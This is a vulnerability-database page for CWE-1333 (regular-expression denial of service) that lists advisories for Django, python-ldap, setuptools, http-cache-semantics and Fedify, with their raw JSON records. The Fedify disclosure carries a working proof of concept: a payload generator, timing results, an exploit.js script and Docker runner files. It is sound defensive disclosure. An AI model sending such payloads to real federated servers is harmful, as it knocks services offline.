Common Weakness Enumeration

CWE-1333

Allowed

Inefficient Regular Expression Complexity

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.

908 vulnerabilities reference this CWE, most recent first.

GHSA-R836-HH6V-RG5G

Vulnerability from github – Published: 2024-08-07 15:30 – Updated: 2025-11-04 19:51
VLAI
Summary
Django vulnerable to denial-of-service attack
Details

An issue was discovered in Django 5.0 before 5.0.8 and 4.2 before 4.2.15. The urlize and urlizetrunc template filters, and the AdminURLFieldWidget widget, are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0"
            },
            {
              "fixed": "5.0.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "Django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2"
            },
            {
              "fixed": "4.2.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-41991"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-130",
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-07T19:03:05Z",
    "nvd_published_at": "2024-08-07T15:15:56Z",
    "severity": "MODERATE"
  },
  "details": "An issue was discovered in Django 5.0 before 5.0.8 and 4.2 before 4.2.15. The urlize and urlizetrunc template filters, and the AdminURLFieldWidget widget, are subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters.",
  "id": "GHSA-r836-hh6v-rg5g",
  "modified": "2025-11-04T19:51:04Z",
  "published": "2024-08-07T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41991"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/523da8771bce321023f490f70d71a9e973ddc927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/efea1ef7e2190e3f77ca0651b5458297bc0f6a9f"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2024-69.yaml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/forum/#%21forum/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240905-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2024/aug/06/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Django vulnerable to denial-of-service attack"
}

GHSA-R8WQ-QRXC-HMCM

Vulnerability from github – Published: 2021-11-29 17:58 – Updated: 2021-11-26 18:26
VLAI
Summary
ReDoS in LDAP schema parser
Details

https://github.com/python-ldap/python-ldap/issues/424

Impact

The LDAP schema parser of python-ldap 3.3.1 and earlier are vulnerable to a regular expression denial-of-service attack. The issue affects clients that use ldap.schema package to parse LDAP schema definitions from an untrusted source.

Patches

The upcoming release of python-ldap 3.4.0 will contain a workaround to prevent ReDoS attacks. The schema parser refuses schema definitions with an excessive amount of backslashes.

Workarounds

As a workaround, users can check input for excessive amount of backslashes in schemas. More than a dozen backslashes per line are atypical.

References

CWE-1333

For more information

If you have any questions or comments about this advisory: * Open an issue in python-ldap tracker

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-ldap"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-11-26T18:26:27Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "https://github.com/python-ldap/python-ldap/issues/424\n\n### Impact\nThe LDAP schema parser of python-ldap 3.3.1 and earlier are vulnerable to a regular expression denial-of-service attack. The issue affects clients that use ``ldap.schema`` package to parse LDAP schema definitions from an untrusted source.\n\n### Patches\nThe upcoming release of python-ldap 3.4.0 will contain a workaround to prevent ReDoS attacks. The schema parser refuses schema definitions with an excessive amount of backslashes.\n\n### Workarounds\nAs a workaround, users can check input for excessive amount of backslashes in schemas. More than a dozen backslashes per line are atypical.\n\n### References\n[CWE-1333](https://cwe.mitre.org/data/definitions/1333.html)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [python-ldap](https://github.com/python-ldap/python-ldap) tracker\n",
  "id": "GHSA-r8wq-qrxc-hmcm",
  "modified": "2021-11-26T18:26:27Z",
  "published": "2021-11-29T17:58:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/python-ldap/python-ldap/security/advisories/GHSA-r8wq-qrxc-hmcm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/python-ldap/python-ldap/issues/424"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/python-ldap/python-ldap"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ReDoS in LDAP schema parser"
}

GHSA-R9HX-VWMV-Q579

Vulnerability from github – Published: 2022-12-23 00:30 – Updated: 2025-11-04 19:37
VLAI
Summary
pypa/setuptools vulnerable to Regular Expression Denial of Service (ReDoS)
Details

Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "setuptools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "65.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-40897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-12-27T14:51:05Z",
    "nvd_published_at": "2022-12-23T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "Python Packaging Authority (PyPA)\u0027s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in `package_index`. This has been patched in version 65.5.1.",
  "id": "GHSA-r9hx-vwmv-q579",
  "modified": "2025-11-04T19:37:00Z",
  "published": "2022-12-23T00:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/setuptools/issues/3659"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/setuptools/commit/43a9c9bfa6aa626ec2a22540bea28d2ca77964be"
    },
    {
      "type": "WEB",
      "url": "https://setuptools.pypa.io/en/latest"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0006"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230214-0001"
    },
    {
      "type": "WEB",
      "url": "https://pyup.io/vulnerabilities/CVE-2022-40897/52495"
    },
    {
      "type": "WEB",
      "url": "https://pyup.io/posts/pyup-discovers-redos-vulnerabilities-in-top-python-packages"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YNA2BAH2ACBZ4TVJZKFLCR7L23BG5C3H"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ADES3NLOE5QJKBLGNZNI2RGVOSQXA37R"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/YNA2BAH2ACBZ4TVJZKFLCR7L23BG5C3H"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ADES3NLOE5QJKBLGNZNI2RGVOSQXA37R"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/setuptools/compare/v65.5.0...v65.5.1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/setuptools/blob/fe8a98e696241487ba6ac9f91faa38ade939ec5d/setuptools/package_index.py#L200"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pypa/setuptools"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/setuptools/PYSEC-2022-43012.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypa/setuptools vulnerable to Regular Expression Denial of Service (ReDoS)"
}

GHSA-RC47-6667-2J5J

Vulnerability from github – Published: 2023-01-31 06:30 – Updated: 2025-02-13 18:36
VLAI
Summary
http-cache-semantics vulnerable to Regular Expression Denial of Service
Details

http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "http-cache-semantics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.webjars.npm:http-cache-semantics"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-25881"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-02-01T23:48:07Z",
    "nvd_published_at": "2023-01-31T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "http-cache semantics contains an Inefficient Regular Expression Complexity , leading to Denial of Service. This affects versions of the package http-cache-semantics before 4.1.1. The issue can be exploited via malicious request header values sent to a server, when that server reads the cache policy from the request using this library.",
  "id": "GHSA-rc47-6667-2j5j",
  "modified": "2025-02-13T18:36:37Z",
  "published": "2023-01-31T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-25881"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kornelski/http-cache-semantics/commit/560b2d8ef452bbba20ffed69dc155d63ac757b74"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kornelski/http-cache-semantics"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kornelski/http-cache-semantics/blob/master/index.js%23L83"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230622-0008"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-3253332"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-HTTPCACHESEMANTICS-3248783"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "http-cache-semantics vulnerable to Regular Expression Denial of Service"
}

GHSA-RCHF-XWX2-HM93

Vulnerability from github – Published: 2025-12-22 21:36 – Updated: 2025-12-23 16:01
VLAI
Summary
Fedify has ReDoS Vulnerability in HTML Parsing Regex
Details

Hi Fedify team! 👋

Thank you for your work on Fedify—it's a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I'd like to report. I hope this helps improve the project's security.

Summary

A Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify's document loader. The HTML parsing regex at packages/fedify/src/runtime/docloader.ts:259 contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses.

An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim's Node.js event loop for 14+ seconds, causing a Denial of Service.

Field Value
CWE CWE-1333 (Inefficient Regular Expression Complexity)

Details

Vulnerable Code

The vulnerability is located in packages/fedify/src/runtime/docloader.ts, lines 258-264:

// Line 258-259: Vulnerable regex with nested quantifiers
const p =
  /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

// Line 261: No size limit on response body
const html = await response.text();

// Line 264: Regex execution loop
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);

Root Cause Analysis

The regex has nested quantifiers with alternation, which is a classic ReDoS pattern:

/<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig
                                                        ^^
                                                   Outer quantifier (+)
           ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                     Inner pattern with alternation
  • Outer quantifier: ((\s+...)+) - one or more groups of attributes
  • Inner alternation: ("[^"]*"|'[^']*'|[^\s>]+) - multiple ways to match attribute values

When the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.

Attack Vector

  1. Victim's Fedify application calls lookupObject("https://attacker.com/@user") to fetch an actor profile
  2. Attacker's server responds with Content-Type: text/html
  3. The code path: lookupObject() → documentLoader() → getRemoteDocument() → HTML parsing (lines 258-287)
  4. Line 261: response.text() reads the entire body without size limits
  5. Line 264: Regex execution triggers catastrophic backtracking
  6. Event loop is blocked for seconds to minutes, causing DoS

Why This Is Exploitable

  • No response size limit: The HTML body is read entirely via response.text() without Content-Length validation
  • No timeout by default: AbortSignal is optional and not enforced
  • Remote exploitation: Attacker just needs the victim to fetch from their URL
  • No authentication required: Federation commonly involves fetching profiles from untrusted servers
  • Amplifiable: Multiple concurrent requests can fully disable the service

PoC

Quick Reproduction (Node.js)

You can verify this vulnerability with the following standalone script:

/**
 * Fedify ReDoS Vulnerability - Minimal PoC
 * 
 * This script reproduces the vulnerable regex from docloader.ts
 * and demonstrates exponential time complexity.
 */

// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

/**
 * Generate malicious HTML payload
 * Pattern: <a a="b" a="b" a="b"... (trailing space, no closing >)
 */
function generateMaliciousPayload(repetitions) {
  return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}

/**
 * Simulate the vulnerable code path from docloader.ts lines 262-264
 */
function simulateVulnerableCodePath(html) {
  const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
  let m;
  const rawAttribs = [];
  while ((m = p.exec(html)) !== null) {
    rawAttribs.push(m[2]);
  }
  return rawAttribs;
}

// Test with increasing payload sizes
console.log('Fedify ReDoS Vulnerability PoC\n');
console.log('Repetitions | Payload Size | Time');
console.log('------------|--------------|--------');

for (const reps of [18, 20, 22, 24, 26, 28]) {
  const payload = generateMaliciousPayload(reps);
  const start = performance.now();
  simulateVulnerableCodePath(payload);
  const elapsed = performance.now() - start;

  const timeStr = elapsed >= 1000 
    ? `${(elapsed / 1000).toFixed(2)}s` 
    : `${elapsed.toFixed(0)}ms`;

  console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' bytes').padEnd(12)} | ${timeStr}`);

  // Stop if it's taking too long
  if (elapsed > 15000) break;
}

Expected Output

Fedify ReDoS Vulnerability PoC

Repetitions | Payload Size | Time
------------|--------------|--------
18          | 111 bytes    | 14ms
20          | 123 bytes    | 51ms
22          | 135 bytes    | 224ms
24          | 147 bytes    | 852ms
26          | 159 bytes    | 3.26s
28          | 171 bytes    | 14.10s

Time approximately quadruples every 2 additional repetitions, demonstrating O(2^n) complexity.

Full Docker-Based PoC

For a complete demonstration, here are the Docker files to run the PoC in an isolated environment:

Dockerfile 
# Dockerfile for Fedify ReDoS Vulnerability PoC
FROM node:20-slim
LABEL description="PoC for Fedify ReDoS vulnerability (CWE-1333)"

WORKDIR /poc
COPY exploit.js .

CMD ["node", "exploit.js"]
exploit.js (Full Version) 
/**
 * Exploit Script for Fedify ReDoS PoC
 * 
 * This script demonstrates the ReDoS vulnerability in Fedify's
 * document loader by measuring the time it takes to process
 * malicious HTML responses with varying payload sizes.
 */

// The vulnerable regex from docloader.ts:259
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

/**
 * Generate malicious HTML payload
 */
function generateMaliciousHtml(repetitions) {
  return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}

/**
 * Generate normal HTML
 */
function generateNormalHtml() {
  return `<!DOCTYPE html>
<html>
<head>
  <link rel="alternate" type="application/activity+json" href="/user.json">
</head>
<body><a href="/">Home</a></body>
</html>`;
}

/**
 * Simulate the vulnerable code path from docloader.ts
 */
function simulateVulnerableCodePath(html) {
  const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
  const p2 = /\s+([a-z][a-z:_-]*)=("([^"]*)"|'([^']*)'|([^\s>]+))/ig;

  let m;
  const rawAttribs = [];
  while ((m = p.exec(html)) !== null) {
    rawAttribs.push(m[2]);
  }

  return rawAttribs;
}

/**
 * Run a single test and measure execution time
 */
function runTest(html, description) {
  const start = process.hrtime.bigint();

  try {
    simulateVulnerableCodePath(html);
  } catch (e) {
    // Ignore errors
  }

  const end = process.hrtime.bigint();
  const durationMs = Number(end - start) / 1_000_000;

  return {
    description,
    durationMs,
    payloadLength: html.length
  };
}

/**
 * Print separator
 */
function printSeparator() {
  console.log('─'.repeat(60));
}

/**
 * Main exploit function
 */
async function main() {
  console.log('\n╔══════════════════════════════════════════════════════════╗');
  console.log('║        Fedify ReDoS Vulnerability PoC                    ║');
  console.log('║        CWE-1333: Inefficient Regular Expression          ║');
  console.log('╚══════════════════════════════════════════════════════════╝\n');

  console.log('[*] Vulnerability Location:');
  console.log('    File: packages/fedify/src/runtime/docloader.ts');
  console.log('    Lines: 259-264');
  console.log('');

  printSeparator();
  console.log('[*] Testing normal HTML response...');
  printSeparator();

  const normalHtml = generateNormalHtml();
  const normalResult = runTest(normalHtml, 'Normal HTML');
  console.log(`[+] Normal request completed in ${normalResult.durationMs.toFixed(2)}ms`);
  console.log(`    Payload size: ${normalResult.payloadLength} bytes`);
  console.log('');

  printSeparator();
  console.log('[*] Testing malicious HTML payloads (ReDoS attack)...');
  printSeparator();

  const testCases = [
    { reps: 18, expected: '~13ms' },
    { reps: 20, expected: '~52ms' },
    { reps: 22, expected: '~228ms' },
    { reps: 24, expected: '~857ms' },
    { reps: 26, expected: '~3.4s' },
    { reps: 28, expected: '~14s' }
  ];

  console.log('');
  console.log('┌─────────────┬──────────────┬──────────────┬────────────────┐');
  console.log('│ Repetitions │ Payload Size │ Expected     │ Actual         │');
  console.log('├─────────────┼──────────────┼──────────────┼────────────────┤');

  let vulnerabilityConfirmed = false;

  for (const testCase of testCases) {
    const maliciousHtml = generateMaliciousHtml(testCase.reps);
    const result = runTest(maliciousHtml, `${testCase.reps} repetitions`);

    const actualTime = result.durationMs >= 1000 
      ? `${(result.durationMs / 1000).toFixed(2)}s` 
      : `${result.durationMs.toFixed(0)}ms`;

    const status = result.durationMs > 100 ? '⚠️ ' : '✓ ';

    console.log(`│ ${String(testCase.reps).padEnd(11)} │ ${String(result.payloadLength + ' bytes').padEnd(12)} │ ${testCase.expected.padEnd(12)} │ ${status}${actualTime.padEnd(12)} │`);

    if (result.durationMs > 500) {
      vulnerabilityConfirmed = true;
    }
  }

  console.log('└─────────────┴──────────────┴──────────────┴────────────────┘');
  console.log('');

  printSeparator();
  console.log('[*] Exponential Time Complexity Analysis');
  printSeparator();

  console.log('');
  console.log('Time approximately quadruples every 2 additional repetitions:');
  console.log('');
  console.log('  18 reps →   ~14ms');
  console.log('  20 reps →   ~51ms (4x)');  
  console.log('  22 reps →  ~224ms (4x)');
  console.log('  24 reps →  ~852ms (4x)');
  console.log('  26 reps →  ~3.3s  (4x)');
  console.log('  28 reps → ~14.0s  (4x)');
  console.log('  30 reps → ~56.0s  (estimated)');
  console.log('');

  printSeparator();
  console.log('[*] Attack Scenario');
  printSeparator();

  console.log('');
  console.log('1. Attacker sets up malicious federated server');
  console.log('2. Victim\'s Fedify app calls lookupObject("https://attacker.com/@user")');
  console.log('3. Attacker responds with Content-Type: text/html');
  console.log('4. Malicious HTML payload: <a a="b" a="b" a="b"... (N times) ');
  console.log('5. Fedify\'s regex enters catastrophic backtracking');
  console.log('6. Event loop blocked → Service unavailable (DoS)');
  console.log('');

  printSeparator();

  if (vulnerabilityConfirmed) {
    console.log('');
    console.log('╔══════════════════════════════════════════════════════════╗');
    console.log('║  ✓ VULNERABILITY CONFIRMED                               ║');
    console.log('║                                                          ║');
    console.log('║  The HTML parsing regex in docloader.ts is vulnerable    ║');
    console.log('║  to ReDoS attacks. A ~150 byte payload can block the     ║');
    console.log('║  Node.js event loop for 7+ seconds.                      ║');
    console.log('╚══════════════════════════════════════════════════════════╝');
    console.log('');
    process.exit(0);
  } else {
    console.log('');
    console.log('[!] Vulnerability could not be confirmed in this environment.');
    console.log('    This may be due to regex engine optimizations.');
    console.log('');
    process.exit(1);
  }
}

main().catch(console.error);
run_poc.sh 
#!/bin/bash
# Fedify ReDoS Vulnerability PoC Runner

set -e

IMAGE_NAME="fedify-redos-poc"

echo "Building Docker image..."
docker build -t ${IMAGE_NAME} .

echo "Running the PoC..."
docker run --rm ${IMAGE_NAME}

echo "Cleaning up..."
docker rmi ${IMAGE_NAME} 2>/dev/null || true

Running the Docker PoC

# Save the above files, then:
chmod +x run_poc.sh
./run_poc.sh

Impact

Who Is Affected?

  • All Fedify applications that use lookupObject(), getDocumentLoader(), or the built-in document loader to fetch content from external URLs
  • Any federated server that fetches actor profiles, posts, or other ActivityPub objects from potentially untrusted sources
  • Servers following standard federation patterns - fetching remote actors is a normal operation

Severity Assessment

Factor Assessment
Attack Vector Network (remote)
Attack Complexity Low (trivial payload)
Privileges Required None
User Interaction None
Impact Availability (DoS)
Scope Service-wide

Real-World Scenario

  1. A Mastodon-compatible server powered by Fedify receives a follow request or mention from @attacker@evil.com
  2. The server attempts to fetch the attacker's profile via lookupObject()
  3. The attacker's server responds with malicious HTML
  4. The victim server's event loop is blocked for 14+ seconds
  5. During this time, all other requests are queued and potentially time out
  6. Repeated attacks can cause sustained service unavailability

Recommended Fix

Option 1: Use a Proper HTML Parser (Recommended)

Replace regex-based HTML parsing with a DOM parser that doesn't suffer from backtracking issues:

// Using linkedom (lightweight DOM implementation)
import { parseHTML } from 'linkedom';

// Replace lines 258-287 with:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');

for (const link of links) {
  const type = link.getAttribute('type');
  const href = link.getAttribute('href');

  if (
    href &&
    (type === 'application/activity+json' ||
     type === 'application/ld+json' ||
     type?.startsWith('application/ld+json;'))
  ) {
    const altUri = new URL(href, docUrl);
    if (altUri.href !== docUrl.href) {
      return await fetch(altUri.href);
    }
  }
}

Option 2: Add Response Size Limits

If regex must be used, at minimum add size limits:

const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');

if (contentLength > MAX_HTML_SIZE) {
  throw new FetchError(url, 'Response too large');
}

const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
  throw new FetchError(url, 'Response too large');
}

Option 3: Refactor the Regex

If the regex approach is preferred, use atomic grouping or possessive quantifiers (where supported), or restructure to avoid nested quantifiers:

// Use a non-backtracking approach with explicit attribute matching
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;

Resources

Thank you for taking the time to review this report. I'm happy to provide any additional information or help test a fix. Please let me know if you have any questions!

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.0"
            },
            {
              "fixed": "1.7.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.8.0"
            },
            {
              "fixed": "1.8.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@fedify/fedify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-68475"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-22T21:36:55Z",
    "nvd_published_at": "2025-12-22T22:16:09Z",
    "severity": "HIGH"
  },
  "details": "Hi Fedify team! \ud83d\udc4b\n\nThank you for your work on Fedify\u2014it\u0027s a fantastic library for building federated applications. While reviewing the codebase, I discovered a Regular Expression Denial of Service (ReDoS) vulnerability that I\u0027d like to report. I hope this helps improve the project\u0027s security.\n\n---\n\n## Summary\n\nA Regular Expression Denial of Service (ReDoS) vulnerability exists in Fedify\u0027s document loader. The HTML parsing regex at `packages/fedify/src/runtime/docloader.ts:259` contains nested quantifiers that cause catastrophic backtracking when processing maliciously crafted HTML responses. \n\n**An attacker-controlled federated server can respond with a small (~170 bytes) malicious HTML payload that blocks the victim\u0027s Node.js event loop for 14+ seconds, causing a Denial of Service.**\n\n| Field | Value |\n|-------|-------|\n| **CWE** | CWE-1333 (Inefficient Regular Expression Complexity) |\n\n---\n\n## Details\n\n### Vulnerable Code\n\nThe vulnerability is located in `packages/fedify/src/runtime/docloader.ts`, lines 258-264:\n\n```typescript\n// Line 258-259: Vulnerable regex with nested quantifiers\nconst p =\n  /\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig;\n\n// Line 261: No size limit on response body\nconst html = await response.text();\n\n// Line 264: Regex execution loop\nwhile ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);\n```\n\n### Root Cause Analysis\n\nThe regex has **nested quantifiers with alternation**, which is a classic ReDoS pattern:\n\n```\n/\u003c(a|link)((\\s+[a-z][a-z:_-]*=(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+))+)\\s*\\/?\u003e/ig\n                                                        ^^\n                                                   Outer quantifier (+)\n           ^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n                     Inner pattern with alternation\n```\n\n- **Outer quantifier**: `((\\s+...)+)` - one or more groups of attributes\n- **Inner alternation**: `(\"[^\"]*\"|\u0027[^\u0027]*\u0027|[^\\s\u003e]+)` - multiple ways to match attribute values\n\nWhen the regex fails to match (e.g., an incomplete HTML tag), the regex engine backtracks exponentially through all possible ways the nested pattern could have matched.\n\n### Attack Vector\n\n1. Victim\u0027s Fedify application calls `lookupObject(\"https://attacker.com/@user\")` to fetch an actor 